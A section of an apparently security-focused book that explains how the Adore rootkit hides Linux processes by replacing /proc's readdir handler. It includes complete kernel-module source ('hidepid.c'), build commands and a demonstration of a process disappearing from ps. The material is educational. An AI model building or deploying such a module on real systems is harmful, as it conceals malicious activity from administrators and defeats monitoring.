7.3. Hiding ProcessesAdore is a popular LKM-based rootkit. Among its many features, it allows a user to hide processes by altering the /proc system's readdir handler.
The /proc system stores a lot of system information, including process information. For example, let's assume sshd is running on our system. You can use the ps tool to obtain sshd's Process ID (PID): [notroot]$ ps x | grep sshd 1431 ? S 0:00 /usr/sbin/sshd 4721 tty1 S 0:00 grep sshd In our example, the sshd process's PID is 1431. Let's look in /proc/1431 to obtain more information about the sshd process: [notroot]$ ls -l /proc/1431/ total 0 -r-------- 1 root root 0 Sep 4 09:14 auxv -r--r--r-- 1 root root 0 Sep 4 09:12 cmdline lrwxrwxrwx 1 root root 0 Sep 4 09:14 cwd -> / -r-------- 1 root root 0 Sep 4 09:12 environ lrwxrwxrwx 1 root root 0 Sep 4 09:14 exe -> /usr/sbin/sshd dr-x------ 2 root root 0 Sep 4 09:14 fd -r--r--r-- 1 root root 0 Sep 4 09:14 maps -rw------- 1 root root 0 Sep 4 09:14 mem -r--r--r-- 1 root root 0 Sep 4 09:14 mounts lrwxrwxrwx 1 root root 0 Sep 4 09:14 root -> / -r--r--r-- 1 root root 0 Sep 4 09:12 stat -r--r--r-- 1 root root 0 Sep 4 09:14 statm -r--r--r-- 1 root root 0 Sep 4 09:12 status dr-xr-xr-x 3 root root 0 Sep 4 09:14 task -r--r--r-- 1 root root 0 Sep 4 09:14 wchan As you can see, the /proc filesystem also stores process information. The ps tool uses the /proc system to enumerate the processes running on a system. In this section, we will use Adore's techniques to hide a given process with an LKM that we will call hidepid. For example, let's create a simple process we want to hide: [notroot]$ sleep 999999 &
[1] 4781 From the preceding sleep command, we know process 4781 will be available for 999,999 seconds, so we will attempt to hide this process. The hide_pid( ) function in hidepid.c expects a pointer to /proc's original readdir handler, as well as the new readdir handler. First, the function attempts to obtain a file descriptor by attempting to open /proc: if((filep = filp_open("/proc",O_RDONLY,0))==NULL) return -1; The pointer to /proc's readdir handler is stored so we can restore it before the LKM exits: if(orig_readdir) *orig_readdir = filep->f_op->readdir; Next, /proc's readdir handler is set to new_readdir: filep->f_op->readdir=new_readdir; The hide_pid( ) function is invoked with the following parameters upon initialization: hide_pid(&orig_proc_readdir,my_proc_readdir); Because my_proc_readdir is passed as the second parameter to hide_pid( ), which corresponds with new_readdir, the LKM sets /proc's readdir handler to my_proc_readdir. The my_proc_readdir( ) function invokes the original_proc_readdir() function but with my_proc_filldir as the handler. The my_proc_filldir( ) function simply checks if the name of the PID being read from /proc is the same as the name of the PID we are trying to hide. If it is, the function simply returns. Otherwise, it calls the original filldir( ): if(adore_atoi(name)==HIDEPID) return 0; return proc_filldir(buf, name, nlen, off, ino, x); When the LKM is unloaded, restore( ) is invoked to reset /proc's readdir handler: if ((filep = filp_open("/proc", O_RDONLY, 0)) == NULL) return -1; filep->f_op->readdir = orig_readdir; 7.3.1. hidepid.cFollowing is the full source code of our hidepid LKM: /*Thanks to adore-ng from Stealth for the ideas used in this code*/ #include <linux/kernel.h> #include <linux/module.h> #include <linux/init.h> #include <net/sock.h> #define HIDEPID 4781 typedef int (*readdir_t)(struct file *, void *, filldir_t); readdir_t orig_proc_readdir=NULL; filldir_t proc_filldir = NULL; /*Convert string to integer. Strip non-integer characters. Courtesy adore-ng*/ int adore_atoi(const char *str) { int ret = 0, mul = 1; const char *ptr; for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) ; ptr--; while (ptr >= str) { if (*ptr < '0' || *ptr > '9') break; ret += (*ptr - '0') * mul; mul *= 10; ptr--; } return ret; } int my_proc_filldir (void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) { /*If name is equal to our pid, then we return 0. This way, our pid isn't visible*/ if(adore_atoi(name)==HIDEPID) { return 0; } /*Otherwise, call original filldir*/ return proc_filldir(buf, name, nlen, off, ino, x); } int my_proc_readdir(struct file *fp, void *buf, filldir_t filldir) { int r=0; proc_filldir = filldir; /*invoke orig_proc_readdir with my_proc_filldir*/ r=orig_proc_readdir(fp,buf,my_proc_filldir); return r; } int hide_pid(readdir_t *orig_readdir, readdir_t new_readdir) { struct file *filep; /*open /proc */ if((filep = filp_open("/proc",O_RDONLY,0))==NULL) { return -1; } /*store proc's readdir*/ if(orig_readdir) *orig_readdir = filep->f_op->readdir; /*set proc's readdir to new_readdir*/ filep->f_op->readdir=new_readdir; filp_close(filep,0); return 0; } /*restore /proc's readdir*/ int restore (readdir_t orig_readdir) { struct file *filep; /*open /proc */ if ((filep = filp_open("/proc", O_RDONLY, 0)) == NULL) { return -1; } /*restore /proc's readdir*/ filep->f_op->readdir = orig_readdir; filp_close(filep, 0); return 0; } static int __init myinit(void) { hide_pid(&orig_proc_readdir,my_proc_readdir); return 0; } static void myexit(void) { restore(orig_proc_readdir); } module_init(myinit); module_exit(myexit); MODULE_LICENSE("GPL"); 7.3.2. Compiling and Testing hidepidTo test the module, use the following makefile: obj-m += hidepid.o Compile using the following make command: [notroot]$ make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules Test the module by executing ps to list the sleep process we initiated earlier: [notroot]$ ps a | grep 4781
4781 tty1 S 0:00 sleep 999999
6545 tty1 R 0:00 grep 4781 Insert the module: [root]# insmod ./hidepid.ko Now, the sleep process is no longer visible: [notroot]$ ps a | grep 4781
6545 tty1 R 0:00 grep 4781 Remember to remove the module when done: [root]# rmmod hidepid |